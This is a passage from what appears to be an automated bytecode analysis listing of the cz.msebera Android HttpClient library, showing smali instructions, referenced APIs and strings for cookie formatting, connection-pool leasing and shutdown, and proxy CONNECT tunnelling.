        54invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        56const-string v1, ", domain:"
        58invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        60invoke-interface {p0}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        61move-result-object v1
        63invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        65const-string v1, ", path:"
        67invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        69invoke-interface {p0}, Lcz/msebera/android/httpclient/cookie/Cookie;->getPath()Ljava/lang/String;
        70move-result-object v1
        72invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        74const-string v1, ", expiry:"
        76invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        78invoke-interface {p0}, Lcz/msebera/android/httpclient/cookie/Cookie;->getExpiryDate()Ljava/util/Date;
        79move-result-object p0
        81invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        83invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        84move-result-object p0
        85return-object p0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Integer.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [version:
        • ]
        • [name:
        • [value:
        • [domain:
        • [path:
        • [expiry:
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "[version: "
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        7iget v1, p0, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie;->cookieVersion:I
        9invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
        10move-result-object v1
        12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        14const-string v1, "]"
        16invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        18const-string v1, "[name: "
        20invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        22iget-object v1, p0, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie;->name:Ljava/lang/String;
        24invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        26const-string v1, "]"
        28invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        30const-string v1, "[value: "
        32invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        34iget-object v1, p0, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie;->value:Ljava/lang/String;
        36invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        38const-string v1, "]"
        40invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        42const-string v1, "[domain: "
        44invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        46iget-object v1, p0, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie;->cookieDomain:Ljava/lang/String;
        48invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        50const-string v1, "]"
        52invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        54const-string v1, "[path: "
        56invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        58iget-object v1, p0, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie;->cookiePath:Ljava/lang/String;
        60invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        62const-string v1, "]"
        64invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        66const-string v1, "[expiry: "
        68invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        70iget-object v1, p0, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie;->cookieExpiryDate:Ljava/util/Date;
        72invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        74const-string v1, "]"
        76invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        78invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        79move-result-object v0
        80return-object v0
        Cross References
        APIs
        • java.lang.System.currentTimeMillis
        • java.util.concurrent.TimeUnit.toMillis
        • java.util.Date.<init>
        • java.util.concurrent.locks.Lock.lock
        • java.lang.System.currentTimeMillis
        • java.util.LinkedList.remove
        • java.util.Set.add
        • java.util.concurrent.locks.Lock.unlock
        • java.lang.Math.max
        • java.util.LinkedList.remove
        • java.util.Set.size
        • java.lang.Math.max
        • java.util.LinkedList.size
        • java.util.LinkedList.isEmpty
        • java.util.LinkedList.removeLast
        • java.util.Set.add
        • java.util.concurrent.locks.Lock.unlock
        • java.util.LinkedList.add
        • java.util.LinkedList.remove
        • java.util.Date.getTime
        • java.lang.System.currentTimeMillis
        • java.util.LinkedList.remove
        • java.util.concurrent.TimeoutException.<init>
        • java.util.concurrent.locks.Lock.unlock
        Strings
        • Connection pool shut down
        • Timeout waiting for connection
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(TT;",
        3"Ljava/lang/Object;",
        4"J",
        5"Ljava/util/concurrent/TimeUnit;",
        6"Lcz/msebera/android/httpclient/pool/PoolEntryFuture<",
        7"TE;>;)TE;"
        8}
        9.end annotation
        10.annotation system Ldalvik/annotation/Throws;
        11value = {
        12Ljava/io/IOException;,
        13Ljava/lang/InterruptedException;,
        14Ljava/util/concurrent/TimeoutException;
        15}
        16.end annotation
        17const-wide/16 v0, 0x0
        18cmp-long v2, p3, v0
        19const/4 v0, 0x0
        20if-lez v2, :cond_16
        21new-instance v1, Ljava/util/Date;
        23invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        24move-result-wide v2
        26invoke-virtual {p5, p3, p4}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J
        27move-result-wide p3
        28add-long/2addr v2, p3
        30invoke-direct {v1, v2, v3}, Ljava/util/Date;-><init>(J)V
        31goto/16 :goto_17
        32cond_16: move-object v1, v0
        33goto_17:
        34iget-object p3, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->lock:Ljava/util/concurrent/locks/Lock;
        36invoke-interface {p3}, Ljava/util/concurrent/locks/Lock;->lock()V
        37try_start_1c:
        38invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->getPool(Ljava/lang/Object;)Lcz/msebera/android/httpclient/pool/RouteSpecificPool;
        39move-result-object p3
        40goto_20: if-nez v0, :cond_10f
        41iget-boolean p4, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->isShutDown:Z
        42xor-int/lit8 p4, p4, 0x1
        44const-string p5, "Connection pool shut down"
        46invoke-static {p4, p5}, Lcz/msebera/android/httpclient/util/Asserts;->check(ZLjava/lang/String;)V
        47goto_2b:
        48invoke-virtual {p3, p2}, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->getFree(Ljava/lang/Object;)Lcz/msebera/android/httpclient/pool/PoolEntry;
        49move-result-object v0
        50const/4 p4, 0x0
        51if-nez v0, :cond_33
        52goto/16 :goto_45
        53cond_33:
        54invoke-virtual {v0}, Lcz/msebera/android/httpclient/pool/PoolEntry;->isClosed()Z
        55move-result p5
        56if-nez p5, :cond_102
        58invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        59move-result-wide v2
        61invoke-virtual {v0, v2, v3}, Lcz/msebera/android/httpclient/pool/PoolEntry;->isExpired(J)Z
        62move-result p5
        63if-eqz p5, :cond_45
        64goto/16 :goto_102
        65goto_45: if-eqz v0, :cond_57
        67iget-object p1, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->available:Ljava/util/LinkedList;
        69invoke-virtual {p1, v0}, Ljava/util/LinkedList;->remove(Ljava/lang/Object;)Z
        71iget-object p1, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->leased:Ljava/util/Set;
        73invoke-interface {p1, v0}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
        74try_end_51:
        75iget-object p1, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->lock:Ljava/util/concurrent/locks/Lock;
        77invoke-interface {p1}, Ljava/util/concurrent/locks/Lock;->unlock()V
        78return-object v0
        79cond_57:
        80invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->getMax(Ljava/lang/Object;)I
        81move-result p5
        83invoke-virtual {p3}, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->getAllocatedCount()I
        84move-result v2
        85add-int/lit8 v2, v2, 0x1
        86sub-int/2addr v2, p5
        88invoke-static {p4, v2}, Ljava/lang/Math;->max(II)I
        89move-result v2
        90if-lez v2, :cond_80
        91const/4 v3, 0x0
        92goto_69: if-ge v3, v2, :cond_80
        94invoke-virtual {p3}, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->getLastUsed()Lcz/msebera/android/httpclient/pool/PoolEntry;
        95move-result-object v4
        96if-nez v4, :cond_72
        97goto/16 :goto_80
        98cond_72:
        99invoke-virtual {v4}, Lcz/msebera/android/httpclient/pool/PoolEntry;->close()V
        101iget-object v5, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->available:Ljava/util/LinkedList;
        103invoke-virtual {v5, v4}, Ljava/util/LinkedList;->remove(Ljava/lang/Object;)Z
        105invoke-virtual {p3, v4}, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->remove(Lcz/msebera/android/httpclient/pool/PoolEntry;)Z
        106add-int/lit8 v3, v3, 0x1
        107goto/16 :goto_69
        108goto_80:
        109invoke-virtual {p3}, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->getAllocatedCount()I
        110move-result v2
        111if-ge v2, p5, :cond_d2
        113iget-object p5, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->leased:Ljava/util/Set;
        115invoke-interface {p5}, Ljava/util/Set;->size()I
        116move-result p5
        117iget v2, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->maxTotal:I
        118sub-int/2addr v2, p5
        120invoke-static {v2, p4}, Ljava/lang/Math;->max(II)I
        121move-result p4
        122if-lez p4, :cond_d2
        124iget-object p2, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->available:Ljava/util/LinkedList;
        126invoke-virtual {p2}, Ljava/util/LinkedList;->size()I
        127move-result p2
        128add-int/lit8 p4, p4, -0x1
        129if-le p2, p4, :cond_bd
        131iget-object p2, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->available:Ljava/util/LinkedList;
        133invoke-virtual {p2}, Ljava/util/LinkedList;->isEmpty()Z
        134move-result p2
        135if-nez p2, :cond_bd
        137iget-object p2, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->available:Ljava/util/LinkedList;
        139invoke-virtual {p2}, Ljava/util/LinkedList;->removeLast()Ljava/lang/Object;
        140move-result-object p2
        141check-cast p2, Lcz/msebera/android/httpclient/pool/PoolEntry;
        143invoke-virtual {p2}, Lcz/msebera/android/httpclient/pool/PoolEntry;->close()V
        145invoke-virtual {p2}, Lcz/msebera/android/httpclient/pool/PoolEntry;->getRoute()Ljava/lang/Object;
        146move-result-object p4
        148invoke-direct {p0, p4}, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->getPool(Ljava/lang/Object;)Lcz/msebera/android/httpclient/pool/RouteSpecificPool;
        149move-result-object p4
        151invoke-virtual {p4, p2}, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->remove(Lcz/msebera/android/httpclient/pool/PoolEntry;)Z
        152cond_bd:
        153iget-object p2, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->connFactory:Lcz/msebera/android/httpclient/pool/ConnFactory;
        155invoke-interface {p2, p1}, Lcz/msebera/android/httpclient/pool/ConnFactory;->create(Ljava/lang/Object;)Ljava/lang/Object;
        156move-result-object p1
        158invoke-virtual {p3, p1}, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->add(Ljava/lang/Object;)Lcz/msebera/android/httpclient/pool/PoolEntry;
        159move-result-object p1
        161iget-object p2, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->leased:Ljava/util/Set;
        163invoke-interface {p2, p1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
        164try_end_cc:
        165iget-object p2, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->lock:Ljava/util/concurrent/locks/Lock;
        167invoke-interface {p2}, Ljava/util/concurrent/locks/Lock;->unlock()V
        168return-object p1
        169cond_d2:
        170invoke-virtual {p3, p6}, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->queue(Lcz/msebera/android/httpclient/pool/PoolEntryFuture;)V
        172iget-object p4, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->pending:Ljava/util/LinkedList;
        174invoke-virtual {p4, p6}, Ljava/util/LinkedList;->add(Ljava/lang/Object;)Z
        176invoke-virtual {p6, v1}, Lcz/msebera/android/httpclient/pool/PoolEntryFuture;->await(Ljava/util/Date;)Z
        177move-result p4
        178try_start_de:
        179invoke-virtual {p3, p6}, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->unqueue(Lcz/msebera/android/httpclient/pool/PoolEntryFuture;)V
        181iget-object p5, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->pending:Ljava/util/LinkedList;
        183invoke-virtual {p5, p6}, Ljava/util/LinkedList;->remove(Ljava/lang/Object;)Z
        184if-nez p4, :cond_20
        185if-eqz v1, :cond_20
        187invoke-virtual {v1}, Ljava/util/Date;->getTime()J
        188move-result-wide p4
        190invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        191move-result-wide v2
        192cmp-long v4, p4, v2
        193if-lez v4, :cond_10f
        194goto/16 :goto_20
        195catchall_f8: move-exception p1
        197invoke-virtual {p3, p6}, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->unqueue(Lcz/msebera/android/httpclient/pool/PoolEntryFuture;)V
        199iget-object p2, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->pending:Ljava/util/LinkedList;
        201invoke-virtual {p2, p6}, Ljava/util/LinkedList;->remove(Ljava/lang/Object;)Z
        202throw p1
        203goto_102:
        204invoke-virtual {v0}, Lcz/msebera/android/httpclient/pool/PoolEntry;->close()V
        206iget-object p5, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->available:Ljava/util/LinkedList;
        208invoke-virtual {p5, v0}, Ljava/util/LinkedList;->remove(Ljava/lang/Object;)Z
        210invoke-virtual {p3, v0, p4}, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->free(Lcz/msebera/android/httpclient/pool/PoolEntry;Z)V
        211goto/16 :goto_2b
        212cond_10f: new-instance p1, Ljava/util/concurrent/TimeoutException;
        214const-string p2, "Timeout waiting for connection"
        216invoke-direct {p1, p2}, Ljava/util/concurrent/TimeoutException;-><init>(Ljava/lang/String;)V
        217throw p1
        218catchall_117: move-exception p1
        220iget-object p2, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->lock:Ljava/util/concurrent/locks/Lock;
        222invoke-interface {p2}, Ljava/util/concurrent/locks/Lock;->unlock()V
        223throw p1
        Cross References
        APIs
        • java.util.concurrent.locks.Lock.lock
        • java.util.concurrent.locks.Lock.unlock
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Iterator.remove
        • java.util.Queue.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Iterator.remove
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Queue.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Iterator.remove
        • java.util.Map.clear
        • java.util.concurrent.locks.Lock.unlock
        Strings
        • Closing connection [
        • ][
        • ]
        Position Instruction Meta Information
        1iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        3invoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->lock()V
        4try_start_5: iget-boolean v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->shutdown:Z
        5try_end_7: if-eqz v0, :cond_f
        7iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        9invoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->unlock()V
        10return-void
        11cond_f: const/4 v0, 0x1
        12try_start_10: iput-boolean v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->shutdown:Z
        14iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->leasedConnections:Ljava/util/Set;
        16invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        17move-result-object v0
        18goto_18:
        19invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
        20move-result v1
        21if-eqz v1, :cond_2b
        23invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        24move-result-object v1
        25check-cast v1, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;
        27invoke-interface {v0}, Ljava/util/Iterator;->remove()V
        29invoke-direct {p0, v1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->closeConnection(Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;)V
        30goto/16 :goto_18
        31cond_2b:
        32iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->freeConnections:Ljava/util/Queue;
        34invoke-interface {v0}, Ljava/util/Queue;->iterator()Ljava/util/Iterator;
        35move-result-object v0
        36goto_31:
        37invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
        38move-result v1
        39if-eqz v1, :cond_77
        41invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        42move-result-object v1
        43check-cast v1, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;
        45invoke-interface {v0}, Ljava/util/Iterator;->remove()V
        47iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        49invoke-virtual {v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        50move-result v2
        51if-eqz v2, :cond_73
        53iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        54new-instance v3, Ljava/lang/StringBuilder;
        56invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        58const-string v4, "Closing connection ["
        60invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        62invoke-virtual {v1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;->getPlannedRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        63move-result-object v4
        65invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        67const-string v4, "]["
        69invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        71invoke-virtual {v1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;->getState()Ljava/lang/Object;
        72move-result-object v4
        74invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        76const-string v4, "]"
        78invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        80invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        81move-result-object v3
        83invoke-virtual {v2, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        84cond_73:
        85invoke-direct {p0, v1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->closeConnection(Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;)V
        86goto/16 :goto_31
        87cond_77:
        88iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->waitingThreads:Ljava/util/Queue;
        90invoke-interface {v0}, Ljava/util/Queue;->iterator()Ljava/util/Iterator;
        91move-result-object v0
        92goto_7d:
        93invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
        94move-result v1
        95if-eqz v1, :cond_90
        97invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        98move-result-object v1
        99check-cast v1, Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;
        101invoke-interface {v0}, Ljava/util/Iterator;->remove()V
        103invoke-virtual {v1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;->wakeup()V
        104goto/16 :goto_7d
        105cond_90:
        106iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->routeToPool:Ljava/util/Map;
        108invoke-interface {v0}, Ljava/util/Map;->clear()V
        109try_end_95:
        110iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        112invoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->unlock()V
        113return-void
        114catchall_9b: move-exception v0
        116iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        118invoke-interface {v1}, Ljava/util/concurrent/locks/Lock;->unlock()V
        119throw v0
        APIs
        • java.net.Socket.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.impl.execchain.TunnelRefusedException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.HttpException.<init>
        Strings
        • Proxy host
        • Target host
        • Credentials
        • CONNECT
        • http.target_host
        • http.connection
        • http.request
        • http.route
        • http.auth.proxy-scope
        • http.auth.credentials-provider
        • http.authscheme-registry
        • http.request-config
        • Proxy-Authorization
        • CONNECT refused by proxy:
        • Unexpected response to CONNECT request:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;,
        3Lcz/msebera/android/httpclient/HttpException;
        4}
        5.end annotation
        7const-string v0, "Proxy host"
        9invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11const-string v0, "Target host"
        13invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        15const-string v0, "Credentials"
        17invoke-static {p3, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        19invoke-virtual {p2}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        20move-result v0
        21if-gtz v0, :cond_25
        22new-instance v0, Lcz/msebera/android/httpclient/HttpHost;
        24invoke-virtual {p2}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        25move-result-object v1
        26const/16 v2, 0x50
        28invoke-virtual {p2}, Lcz/msebera/android/httpclient/HttpHost;->getSchemeName()Ljava/lang/String;
        29move-result-object v3
        31invoke-direct {v0, v1, v2, v3}, Lcz/msebera/android/httpclient/HttpHost;-><init>(Ljava/lang/String;ILjava/lang/String;)V
        32goto/16 :goto_26
        33cond_25: move-object v0, p2
        34goto_26: new-instance v1, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        36iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->requestConfig:Lcz/msebera/android/httpclient/client/config/RequestConfig;
        38invoke-virtual {v2}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->getLocalAddress()Ljava/net/InetAddress;
        39move-result-object v6
        40const/4 v8, 0x0
        42sget-object v9, Lcz/msebera/android/httpclient/conn/routing/RouteInfo$TunnelType;->TUNNELLED:Lcz/msebera/android/httpclient/conn/routing/RouteInfo$TunnelType;
        44sget-object v10, Lcz/msebera/android/httpclient/conn/routing/RouteInfo$LayerType;->PLAIN:Lcz/msebera/android/httpclient/conn/routing/RouteInfo$LayerType;
        45move-object v4, v1
        46move-object v5, v0
        47move-object v7, p1
        49invoke-direct/range {v4 .. v10}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;-><init>(Lcz/msebera/android/httpclient/HttpHost;Ljava/net/InetAddress;Lcz/msebera/android/httpclient/HttpHost;ZLcz/msebera/android/httpclient/conn/routing/RouteInfo$TunnelType;Lcz/msebera/android/httpclient/conn/routing/RouteInfo$LayerType;)V
        51iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->connFactory:Lcz/msebera/android/httpclient/conn/HttpConnectionFactory;
        53iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->connectionConfig:Lcz/msebera/android/httpclient/config/ConnectionConfig;
        55invoke-interface {v2, v1, v3}, Lcz/msebera/android/httpclient/conn/HttpConnectionFactory;->create(Ljava/lang/Object;Lcz/msebera/android/httpclient/config/ConnectionConfig;)Lcz/msebera/android/httpclient/HttpConnection;
        56move-result-object v2
        57check-cast v2, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;
        58new-instance v9, Lcz/msebera/android/httpclient/protocol/BasicHttpContext;
        60invoke-direct {v9}, Lcz/msebera/android/httpclient/protocol/BasicHttpContext;-><init>()V
        61new-instance v10, Lcz/msebera/android/httpclient/message/BasicHttpRequest;
        63const-string v3, "CONNECT"
        65invoke-virtual {v0}, Lcz/msebera/android/httpclient/HttpHost;->toHostString()Ljava/lang/String;
        66move-result-object v0
        68sget-object v4, Lcz/msebera/android/httpclient/HttpVersion;->HTTP_1_1:Lcz/msebera/android/httpclient/HttpVersion;
        70invoke-direct {v10, v3, v0, v4}, Lcz/msebera/android/httpclient/message/BasicHttpRequest;-><init>(Ljava/lang/String;Ljava/lang/String;Lcz/msebera/android/httpclient/ProtocolVersion;)V
        71new-instance v0, Lcz/msebera/android/httpclient/impl/client/BasicCredentialsProvider;
        73invoke-direct {v0}, Lcz/msebera/android/httpclient/impl/client/BasicCredentialsProvider;-><init>()V
        74new-instance v3, Lcz/msebera/android/httpclient/auth/AuthScope;
        76invoke-direct {v3, p1}, Lcz/msebera/android/httpclient/auth/AuthScope;-><init>(Lcz/msebera/android/httpclient/HttpHost;)V
        78invoke-virtual {v0, v3, p3}, Lcz/msebera/android/httpclient/impl/client/BasicCredentialsProvider;->setCredentials(Lcz/msebera/android/httpclient/auth/AuthScope;Lcz/msebera/android/httpclient/auth/Credentials;)V
        80const-string p3, "http.target_host"
        82invoke-interface {v9, p3, p2}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        84const-string p2, "http.connection"
        86invoke-interface {v9, p2, v2}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        88const-string p2, "http.request"
        90invoke-interface {v9, p2, v10}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        92const-string p2, "http.route"
        94invoke-interface {v9, p2, v1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        96const-string p2, "http.auth.proxy-scope"
        98iget-object p3, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        100invoke-interface {v9, p2, p3}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        102const-string p2, "http.auth.credentials-provider"
        104invoke-interface {v9, p2, v0}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        106const-string p2, "http.authscheme-registry"
        108iget-object p3, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->authSchemeRegistry:Lcz/msebera/android/httpclient/auth/AuthSchemeRegistry;
